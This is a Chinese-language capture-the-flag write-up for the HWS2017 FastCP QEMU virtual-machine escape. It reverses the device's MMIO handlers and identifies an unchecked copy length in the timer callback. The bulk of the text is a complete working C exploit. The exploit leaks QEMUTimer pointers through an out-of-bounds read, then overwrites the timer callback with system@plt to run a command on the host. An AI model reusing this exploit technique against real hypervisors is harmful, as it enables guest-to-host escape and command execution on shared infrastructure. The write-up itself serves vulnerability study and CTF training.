【qemu逃逸】HWS2017-FastCP

news2024/11/27 16:40:29

前言

虚拟机用户名：root

虚拟机密码：无密码

本题有符号，所以对于设备定位啥的就不多说了，直接逆向设备吧。

设备逆向

在 realize 函数中设置一个时钟任务，并且可以看到只注册了 mmio，大小为 0x100000。

我们先看下设备结构体 FastCPState：

在大小为 0x1000 的 CP_buffer 下定义了一个 QEMUTimer 结构体，这里大概可以猜到就是劫持 cp_timer 了。

fastcp_mmio_read

该函数很简单，就是读取 FastCPState->cp_state 中的值。

fastcp_mmio_write

该函数也很简单，就是设置 FastCPState->cp_state 中的值，并且当 addr = 24 时，会触发定时任务，其会调用回调函数 fastcp_cp_timer。

fastcp_cp_timer

漏洞就在回调函数中，在对物理内存进行读写的实话没有检查 CP_cnt 的大小，从而导致越界读写。

漏洞利用

利用很简单，程序本身有 system 导入符号。所以只需要：

1、越界读 QEMUTimer 中的数据从而泄漏 FastCPState 地址和 system@plt 地址

2、越界写 QEMUTimer，使得 cb = system@plt，opaque = CP_buffer，并在 CP_buffer 中写好 cmd

3、触发时钟任务，从而导致任意命令执行

exp 如下：

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

void * mmio_base;
void mmio_init()
{
        int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
        if (fd < 0) puts("[X] open for resource0"), exit(EXIT_FAILURE);
        mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
        if (mlock(mmio_base, 0x100000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
        printf("[+] mmio_base: %#p\n", mmio_base);
}

uint64_t gva_to_gpa(void* addr)
{
        uint64_t page;
        int fd = open("/proc/self/pagemap", O_RDONLY);
        if (fd < 0) puts("[X] open for pagemap"), exit(EXIT_FAILURE);
        lseek(fd, ((uint64_t)addr >> 12 << 3), 0);
        read(fd, &page, 8);
        return ((page & ((1ULL << 55) - 1)) << 12) | ((uint64_t)addr & ((1ULL << 12) - 1));
}

#define CP_list_cnt      16
#define cmd              24
#define CP_list_src      8

struct CP_INFO {
        uint64_t CP_src;
        uint64_t CP_cnt;
        uint64_t CP_dst;
};

void mmio_write(uint64_t addr, uint64_t val)
{
        *(uint64_t*)(mmio_base + addr) = val;
}

int main(int argc, char** argv, char** envp)
{
        mmio_init();
        system("sysctl vm.nr_hugepages=30");
        void * buf = mmap(0, 512 * 0x1000, PROT_READ | PROT_WRITE , MAP_SHARED | MAP_ANONYMOUS | 0x40000, -1, 0);
        memset(buf, 'A', 0x2000);
        struct CP_INFO tmp;
        tmp.CP_src = 0;
        tmp.CP_cnt = 0x1020;
        tmp.CP_dst = gva_to_gpa(buf);

        mmio_write(CP_list_src, gva_to_gpa(&tmp));
        mmio_write(CP_list_cnt, 1);
        mmio_write(cmd, 4);
        sleep(1);

        binary_dump("QEMUTimer", (char*)buf+0x1000, 0x20);
        uint64_t timer_list = *(uint64_t*)((char*)buf+0x1000+0x8);
        uint64_t system_plt = *(uint64_t*)((char*)buf+0x1000+0x10) - 0x4dce80 + 0x2c2180;
        uint64_t CP_buffer  = *(uint64_t*)((char*)buf+0x1000+0x18) + 0xa00;
        printf("[+] timer_list: %#p\n", timer_list);
        printf("[+] system_plt: %#p\n", system_plt);
        printf("[+] CP_buffer : %#p\n", CP_buffer);

        struct CP_INFO ttmp[0x11];
        for (int i = 0; i < 0x11; i++)
        {
                ttmp[i].CP_src = gva_to_gpa(buf);
                ttmp[i].CP_cnt = 0x1020;
                ttmp[i].CP_dst = gva_to_gpa(buf);
        }
        char * scmd = "xcalc";
        strcpy(buf, scmd);
        *(uint64_t*)((char*)buf+0x1000)      = 0xffffffffffffffff;
        *(uint64_t*)((char*)buf+0x1000+0x8)  = timer_list;
        *(uint64_t*)((char*)buf+0x1000+0x10) = system_plt;
        *(uint64_t*)((char*)buf+0x1000+0x18) = CP_buffer;
        mmio_write(CP_list_cnt, 0x11);
        mmio_write(CP_list_src, gva_to_gpa(ttmp));
        mmio_write(cmd, 1);
        sleep(1);

        mmio_write(cmd, 1);
        return 0;
}

效果如下：